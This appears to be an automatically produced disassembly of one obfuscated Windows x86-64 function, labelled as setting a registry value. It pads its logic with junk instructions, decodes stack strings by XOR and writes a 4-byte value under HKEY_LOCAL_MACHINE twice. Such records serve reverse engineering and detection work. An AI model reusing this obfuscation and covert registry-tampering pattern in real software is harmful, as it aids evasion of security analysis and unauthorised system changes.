Function at 0x1403f961c
Capabilities:
Set registry value

Disassembly:
push r15
push r14
sub ax, 0x345b
shl r14d, 0x24
clc
push r13
push r12
push rsi
cmovs r12w, sp
push rdi
cbw
dec sil
push rbp
shr edi, 0xbf
cmp r11w, sp
rcl dil, 0x89
push rbx
ror r14w, 0x7d
cmp sp, 0x40b
inc r15b
sub rsp, 0x2f8
not rax
bswap bx
movsx si, r14b
movabs rax, 0xe009ec3224c8fd6e
movsxd r13, r10d
not r14b
jmp 0x1403f967a
mov qword [rsp + 0x2e0], rax
movzx r15w, r8b
xchg rbp, r13
mov qword [rsp + 0x40], rax
setp r15b
movsx edi, r11w
movsx r14w, al
movabs rax, 0x2204bcb80ebea5a3
movzx r14d, bx
movsx r14, di
mov qword [rsp + 0x2d8], rax
cmovle r12w, bp
movsx r12w, r9b
mov rbp, 0x6b8c4c66
mov qword [rsp + 0x48], rax
movabs rax, 0xfbc9f38de01f2fa2
movzx si, r14b
bswap r14w
jmp 0x1403f96e4
mov qword [rsp + 0x2d0], rax
movzx ebp, cx
cmovle bx, r10w
jmp 0x1403f96f9
mov qword [rsp + 0x50], rax
cbw
xchg r12b, r15b
movabs rax, 0x17a75ff95317a686
mov qword [rsp + 0x2c8], rax
movsx rbx, r15w
movsx bx, spl
mov qword [rsp + 0x58], rax
xchg r13, r12
movzx r14d, r11w
setne sil
movabs rax, 0xfd99d5578f55fa6f
movsx r12d, di
mov qword [rsp + 0x2c0], rax
mov r15d, r11d
movsx r12d, di
jmp 0x1403f9750
mov qword [rsp + 0x60], rax
movabs rax, 0x4b3964fdcd447246
jmp 0x1403f9764
mov qword [rsp + 0x2b8], rax
movzx ebx, r11w
cmovbe rdi, r10
mov qword [rsp + 0x68], rax
movsx r14d, r15w
movsx r14w, r14b
jmp 0x1403f9787
movabs rax, 0xee88324679eb2227
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x70], rax
movzx r14d, dx
cwde
movzx rdi, cx
movabs rax, 0x6d7346ad6d4ffefa
movzx r14d, r10w
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x78], rax
movsx r12d, r12w
movzx edi, r8w
cdqe
movabs rax, 0xd093683aef376a76
mov bpl, bpl
sete bpl
mov qword [rsp + 0x2a0], rax
xchg r13b, r14b
movsx r15w, dil
movsx r12, r11w
mov qword [rsp + 0x80], rax
movabs rax, 0xa80f93e9d32b8c6f
setb r12b
mov di, 0x49f6
mov qword [rsp + 0x298], rax
movsxd rbx, r14d
movzx r12d, r10w
movsx r15d, di
mov qword [rsp + 0x88], rax
cbw
movsxd rax, ebp
setne r13b
movabs rax, 0x33e730243394033e
bswap bx
movzx r13w, r14b
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x90], rax
movabs rax, 0xe7e3977e114e6703
mov ebp, 0x52fe4972
setns sil
movsx r15, r9w
mov qword [rsp + 0x288], rax
mov r14d, r8d
movsx r13d, r11w
mov qword [rsp + 0x98], rax
not ax
cwde
xchg r14b, bl
movabs rax, 0xb0b65ec58a603c8
setp sil
movsx r15, cx
xchg r13w, bx
mov qword [rsp + 0x280], rax
not r15d
movzx rbp, r9w
mov qword [rsp + 0xa0], rax
mov bh, 0x46
movabs rax, 0x6708be65ca8156d7
mov sil, 0xa1
movsx r15w, sil
mov qword [rsp + 0x278], rax
movsx rbx, r9w
xchg r14b, r15b
not bl
mov qword [rsp + 0xa8], rax
movabs rax, 0x46a7044da5524090
mov qword [rsp + 0x270], rax
movsx r14, bx
cmova bx, dx
mov qword [rsp + 0xb0], rax
lahf
cdqe
movsx r14w, r15b
movabs rax, 0x4b8cb541ca050f46
mov qword [rsp + 0x268], rax
movzx r13, bx
movzx esi, bx
mov qword [rsp + 0xb8], rax
bswap bp
movabs rax, 0xe627ab41184af921
movsx r12, r12w
mov qword [rsp + 0x260], rax
movsxd r13, r13d
mov qword [rsp + 0xc0], rax
xchg r12b, r12b
jmp 0x1403f995d
movabs rax, 0x34c77b6e31b9a
mov bpl, 0x86
not sil
mov qword [rsp + 0x258], rax
mov qword [rsp + 0xc8], rax
mov r15d, eax
movabs rax, 0xd8cf4ec0049852bb
not bp
mov r15b, dl
movsxd r12, r14d
mov qword [rsp + 0xd0], rax
movabs rax, 0xa5eac9844f8ea419
cmovo di, r11w
mov qword [rsp + 0xd8], rax
cwde
movzx r12d, si
movzx r12, bp
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x3c], 0
cdqe
movabs rbp, 0x2eb490333e21dae3
xchg r13d, edi
movsxd rdi, esp
mov qword [rsp + 0xe0], rbp
movabs r14, 0x28903e48668cb956
movsx r13d, dx
xchg r13b, r12b
not dil
mov qword [rsp + 0xe8], r14
movabs r15, 0xe05dec612491fd3d
bswap rdi
mov qword [rsp + 0x100], r15
movabs r12, 0x2247bce40ef3a5e6
not bx
movsxd rax, r11d
mov qword [rsp + 0x108], r12
jmp 0x1403f9a37
movabs rsi, 0xfbacf3ffe06d2fd7
bswap edi
movzx bx, bh
movsx rbx, di
mov qword [rsp + 0x110], rsi
movabs rdi, 0x17c85fba5363a6e8
cbw
mov qword [rsp + 0x118], rdi
cwde
movsx bx, r9b
not rbx
movabs rax, 0xfdf6d5258f21fa01
mov r13b, bl
not bh
mov qword [rsp + 0x120], rax
jmp 0x1403f9a8c
mov rbx, rax
lahf
seto r13b
movzx rax, di
movabs rax, 0x4b4d6498cd17722a
sets r13b
bswap r13w
mov qword [rsp + 0x2f0], rax
sets r13b
movzx r13w, r15b
mov qword [rsp + 0x128], rax
movsx rax, si
cdqe
movsxd rax, esi
movabs rax, 0xeefa322379b8227b
mov r13b, r13b
mov qword [rsp + 0x250], rax
movsx r13d, r13w
movsx r13, r15w
mov qword [rsp + 0x130], rax
movabs rax, 0x6d1646ce6d26fe8c
mov qword [rsp + 0x248], rax
not r13w
mov qword [rsp + 0x138], rax
cbw
movsx r13, r13w
not r13w
movabs rax, 0xd0fb6869ef6b6a05
movsxd r13, r8d
mov r13w, 0x303a
mov qword [rsp + 0x240], rax
jmp 0x1403f9b38
mov qword [rsp + 0x140], rax
movsxd rax, eax
not al
movzx ax, sil
movabs rax, 0xa86b938cd3598c0e
movzx r13, si
movsx r13, bx
mov qword [rsp + 0x238], rax
jmp 0x1403f9b69
mov qword [rsp + 0x148], rax
movsx r13w, bl
movzx r13d, cx
movzx rax, r9w
movabs rax, 0x3382304733f7037f
movsx r13w, al
movsx r13d, r12w
jmp 0x1403f9b96
mov qword [rsp + 0x230], rax
movsx r13w, r9b
movsxd r13, r14d
mov qword [rsp + 0x150], rax
movsxd rax, r10d
bswap r13w
movzx r13w, dil
movabs rax, 0xe7b39722113d6770
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x158], rax
movsxd r13, esp
setp al
movabs rax, 0xb66658d58d403a9
mov qword [rsp + 0x220], rax
jmp 0x1403f9bf7
mov qword [rsp + 0x160], rax
jmp 0x1403f9c05
movabs rax, 0x677abe00caf556b2
movsx r13, bp
mov qword [rsp + 0x218], rax
movsxd r13, r14d
movsx r13, sp
movzx r13, r11w
mov qword [rsp + 0x168], rax
movabs rax, 0x46ce040ba50e40e3
bswap r13d
xchg r13d, r13d
mov qword [rsp + 0x210], rax
mov qword [rsp + 0x170], rax
lahf
setnp ah
movabs rax, 0x4bedb536ca600f34
mov r13, 0x7fd91d27
movsxd r13, esi
mov qword [rsp + 0x208], rax
movsxd r13, r10d
mov qword [rsp + 0x178], rax
cwde
jmp 0x1403f9c7f
movabs rax, 0xe648ab111826f94d
movzx r13w, spl
not r13d
bswap r13w
mov qword [rsp + 0x200], rax
movsx r13, r14w
mov qword [rsp + 0x180], rax
movsx r13w, al
movsxd rax, r9d
cbw
movabs rax, 0x7a4c14b68a1bf6
xchg r13w, r13w
movsx r13d, r13w
movsx r13w, r9b
mov qword [rsp + 0x1f8], rax
movsx r13w, r8b
mov qword [rsp + 0x188], rax
movabs rax, 0xd8a24eaf04dc52e7
mov r13d, 0x1d7609be
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x190], rax
setg al
movabs rax, 0xa5bac9ea4fe7a478
mov r13b, spl
movzx r13d, sp
movzx r13, r12w
mov qword [rsp + 0x1e8], rax
movsxd r13, esi
mov qword [rsp + 0x198], rax
bswap r13
cwde
movabs rax, 0x2edd90553e4eda91
mov qword [rsp + 0x1e0], rax
xchg r13b, r13b
movzx r13w, cl
mov qword [rsp + 0x1a0], rax
movabs rax, 0x28903e4866e9b93a
xchg r13b, r13b
jmp 0x1403f9d62
mov qword [rsp + 0x1d8], rax
movzx r13w, r14b
mov qword [rsp + 0x1a8], rax
lea r13, [rsp + 0x100]
setno ah
movsx rax, bp
cdqe
mov rax, r13
jmp 0x1403f9d90
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403f9d9a
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403f9da7
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403f9db1
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x60]
jmp 0x1403f9dc4
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
jmp 0x1403f9dd2
movaps xmm0, xmmword [rsp + 0x70]
jmp 0x1403f9ddc
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
jmp 0x1403f9dea
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403f9df7
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403f9e08
movaps xmm0, xmmword [rsp + 0x90]
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403f9e35
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403f9e42
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403f9e53
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403f9e60
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403f9e74
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403f9e81
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403f9e95
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403f9ea2
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
lea rdx, [rsp + 0x40]
movzx r8d, r9w
bswap r8d
xchg r8w, r8w
lea r8, [rsp + 0x30]
movsx rcx, r10w
jmp 0x1403f9ecf
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
jmp 0x1403f9eeb
mov qword [rsp + 0x1d0], rax
jmp 0x1403f9ef8
mov qword [rsp + 0x40], rax
movzx ax, dil
movabs rax, 0x222ebca20e96a58a
jmp 0x1403f9f11
mov qword [rsp + 0x1c8], rax
jmp 0x1403f9f1e
mov qword [rsp + 0x48], rax
movabs rax, 0xfbcdf388e0082fa5
jmp 0x1403f9f32
mov qword [rsp + 0x2e8], rax
jmp 0x1403f9f3f
mov qword [rsp + 0x50], rax
movsx eax, di
movabs rax, 0x17c85fba530fa684
jmp 0x1403f9f56
mov qword [rsp + 0x1c0], rax
jmp 0x1403f9f63
mov qword [rsp + 0x58], rax
cbw
movsx ax, dil
movsx eax, r14w
mov qword [rsp + 0x100], r15
movsxd rax, ebp
movsx rax, r11w
mov qword [rsp + 0x108], r12
not ax
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
mov rax, r13
jmp 0x1403f9fa5
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403f9faf
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403f9fc1
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
sbb ax, 0x7334
bt rdx, 0xa4
mov rcx, qword [rsp + 0x30]
movsx edx, cx
cbw
lea rax, [rsp + 0x3c]
cqo
cmc
mov qword [rsp + 0x20], rax
rcl r9b, cl
mov dword [rsp + 0x28], 4
movzx edx, r12w
lea rdx, [rsp + 0x40]
sal r9b, 0xb9
cmc
rol r9b, 0xd3
xor r8d, r8d
bswap r9w
jmp 0x1403fa013
mov r9d, 4
jmp 0x1403fa01e
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403fa02e
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403fa041
mov qword [rsp + 0x40], rax
movsxd rax, r8d
cmovle rax, rsp
jmp 0x1403fa052
mov rax, qword [rsp + 0x2d8]
jmp 0x1403fa05f
mov qword [rsp + 0x48], rax
cmovp rax, r15
mov rax, qword [rsp + 0x2d0]
jmp 0x1403fa075
mov qword [rsp + 0x50], rax
movsx eax, bp
movsx ax, r10b
movsx rax, bp
mov rax, qword [rsp + 0x2c8]
jmp 0x1403fa093
mov qword [rsp + 0x58], rax
movzx ax, sil
setno ah
mov rax, qword [rsp + 0x2c0]
jmp 0x1403fa0ad
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2b8]
jmp 0x1403fa0bf
mov qword [rsp + 0x68], rax
movsx eax, di
movzx rax, di
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x70], rax
bswap ax
movsxd rax, r9d
movzx rax, r11w
mov rax, qword [rsp + 0x2a8]
jmp 0x1403fa0ef
mov qword [rsp + 0x78], rax
movzx ax, spl
mov ax, 0x38b5
jmp 0x1403fa102
mov rax, qword [rsp + 0x2a0]
jmp 0x1403fa10f
mov qword [rsp + 0x80], rax
cbw
mov rax, qword [rsp + 0x298]
jmp 0x1403fa126
mov qword [rsp + 0x88], rax
bswap rax
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x90], rax
movsx eax, r10w
mov eax, ebp
movzx eax, dx
mov rax, qword [rsp + 0x288]
jmp 0x1403fa157
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x278]
jmp 0x1403fa17c
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x270]
jmp 0x1403fa191
mov qword [rsp + 0xb0], rax
movsx eax, dx
mov rax, qword [rsp + 0x268]
jmp 0x1403fa1a9
mov qword [rsp + 0xb8], rax
movzx rax, r14w
movzx ax, dil
bswap eax
mov rax, qword [rsp + 0x260]
jmp 0x1403fa1c9
mov qword [rsp + 0xc0], rax
movzx eax, r13w
mov rax, qword [rsp + 0x258]
jmp 0x1403fa1e2
mov qword [rsp + 0xc8], rax
movsx eax, cx
movabs rax, 0xd8c04eda048c52bb
jmp 0x1403fa1fc
mov qword [rsp + 0xd0], rax
movsx eax, di
movabs rax, 0xa5eac9894f8ea414
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], rbp
lahf
mov qword [rsp + 0xe8], r14
mov qword [rsp + 0x100], r15
movzx eax, dx
mov qword [rsp + 0x108], r12
movzx ebp, r9w
movsx r14, bp
movsx ax, dl
mov qword [rsp + 0x110], rsi
bswap ax
movsx r14w, r8b
cbw
mov qword [rsp + 0x118], rdi
movsx rbp, di
movsxd rbp, edi
mov r14b, 0x9b
mov rbp, rbx
cdqe
cwde
movzx r14w, bl
mov qword [rsp + 0x120], rbx
movzx r14w, r14b
mov r14, qword [rsp + 0x2f0]
cdqe
movsx eax, r12w
movzx eax, r9w
mov qword [rsp + 0x128], r14
nop
movsx ax, sil
mov rax, qword [rsp + 0x250]
jmp 0x1403fa2b3
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x248]
jmp 0x1403fa2c8
mov qword [rsp + 0x138], rax
movsx eax, ax
jmp 0x1403fa2dc
mov rax, qword [rsp + 0x240]
jmp 0x1403fa2e9
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x238]
jmp 0x1403fa2fe
mov qword [rsp + 0x148], rax
jmp 0x1403fa30e
mov rax, qword [rsp + 0x230]
jmp 0x1403fa31b
mov qword [rsp + 0x150], rax
cdqe
movzx eax, bp
movzx ax, r10b
mov rax, qword [rsp + 0x228]
jmp 0x1403fa33a
mov qword [rsp + 0x158], rax
not ah
cmovbe ax, bp
movzx ax, r14b
mov rax, qword [rsp + 0x220]
jmp 0x1403fa35a
mov qword [rsp + 0x160], rax
cmovp rax, rsp
xchg al, ah
mov rax, qword [rsp + 0x218]
jmp 0x1403fa375
mov qword [rsp + 0x168], rax
lahf
setbe ah
mov rax, qword [rsp + 0x210]
jmp 0x1403fa38e
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x208]
jmp 0x1403fa3a3
mov qword [rsp + 0x178], rax
mov rax, qword [rsp + 0x200]
jmp 0x1403fa3b8
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x1f8]
jmp 0x1403fa3cd
mov qword [rsp + 0x188], rax
cbw
setno ah
mov rax, qword [rsp + 0x1f0]
jmp 0x1403fa3e7
mov qword [rsp + 0x190], rax
jmp 0x1403fa3fc
mov rax, qword [rsp + 0x1e8]
jmp 0x1403fa409
mov qword [rsp + 0x198], rax
lahf
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x1a0], rax
movsxd rax, r13d
movsx eax, ax
mov al, cl
mov rax, qword [rsp + 0x1d8]
jmp 0x1403fa437
mov qword [rsp + 0x1a8], rax
cbw
mov rax, 0x3b3e19da
mov rax, r13
jmp 0x1403fa450
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fa45a
movaps xmm1, xmmword [rsp + 0x50]
jmp 0x1403fa464
movaps xmm2, xmmword [rsp + 0x60]
jmp 0x1403fa46e
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x1403fa47b
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fa485
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
jmp 0x1403fa493
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x1403fa4a1
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
jmp 0x1403fa4af
movaps xmm0, xmmword [rsp + 0x80]
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403fa4c8
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403fa4d5
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403fa4e6
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403fa4f3
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403fa504
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403fa511
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403fa52a
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403fa53e
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403fa54b
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403fa55f
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403fa56c
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
movsx cx, dil
lea rdx, [rsp + 0x40]
movzx r8, r12w
mov rcx, 0xffffffff80000002
movsx r8d, di
movsx r8w, al
lea r8, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
movsx ebx, r12w
not bl
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x1c8]
movzx rbx, si
not rbx
mov ebx, r13d
mov qword [rsp + 0x48], rax
mov rbx, qword [rsp + 0x2e8]
not ax
movsx ax, r10b
mov qword [rsp + 0x50], rbx
movzx ax, ch
movsx ax, r11b
mov rax, qword [rsp + 0x1c0]
jmp 0x1403fa5f9
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x100], r15
movsx rax, bx
mov al, r12b
movsx eax, bp
mov qword [rsp + 0x108], r12
mov al, 0x75
setbe ah
mov qword [rsp + 0x110], rsi
cdqe
mov qword [rsp + 0x118], rdi
mov rax, r13
jmp 0x1403fa637
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fa641
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403fa653
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x3c]
ror r9b, 0xec
movzx r9d, r12w
shl dh, cl
mov qword [rsp + 0x20], rax
test r11b, r9b
mov dword [rsp + 0x28], 4
bswap r9w
btc rdx, rcx
lea rdx, [rsp + 0x40]
shl r9, 0xd8
xor r8d, r8d
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403fa6b8
mov qword [rsp + 0x40], rax
movzx rax, sp
mov rax, qword [rsp + 0x2d8]
jmp 0x1403fa6ce
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x2d0]
jmp 0x1403fa6e0
mov qword [rsp + 0x50], rax
movsx rax, cx
movsx eax, r15w
mov rax, qword [rsp + 0x2c8]
jmp 0x1403fa6fa
mov qword [rsp + 0x58], rax
jmp 0x1403fa704
mov rax, qword [rsp + 0x2c0]
jmp 0x1403fa711
mov qword [rsp + 0x60], rax
movsx rax, bp
jmp 0x1403fa71f
mov rax, qword [rsp + 0x2b8]
jmp 0x1403fa72c
mov qword [rsp + 0x68], rax
movsxd rax, r8d
mov rax, qword [rsp + 0x2b0]
jmp 0x1403fa741
mov qword [rsp + 0x70], rax
jmp 0x1403fa74f
mov rax, qword [rsp + 0x2a8]
jmp 0x1403fa75c
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x80], rax
cdqe
jmp 0x1403fa778
mov rax, qword [rsp + 0x298]
jmp 0x1403fa785
mov qword [rsp + 0x88], rax
cmovae ax, cx
bswap eax
lahf
mov rax, qword [rsp + 0x290]
jmp 0x1403fa7a1
mov qword [rsp + 0x90], rax
setns al
not ax
mov ax, 0x6f42
mov rax, qword [rsp + 0x288]
jmp 0x1403fa7c0
mov qword [rsp + 0x98], rax
movzx eax, dx
mov rax, qword [rsp + 0x280]
jmp 0x1403fa7d8
mov qword [rsp + 0xa0], rax
movzx rax, cx
mov rax, qword [rsp + 0x278]
jmp 0x1403fa7f1
mov qword [rsp + 0xa8], rax
movzx ax, bl
mov rax, qword [rsp + 0x270]
jmp 0x1403fa80a
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x268]
jmp 0x1403fa81f
mov qword [rsp + 0xb8], rax
lahf
mov rax, qword [rsp + 0x260]
jmp 0x1403fa835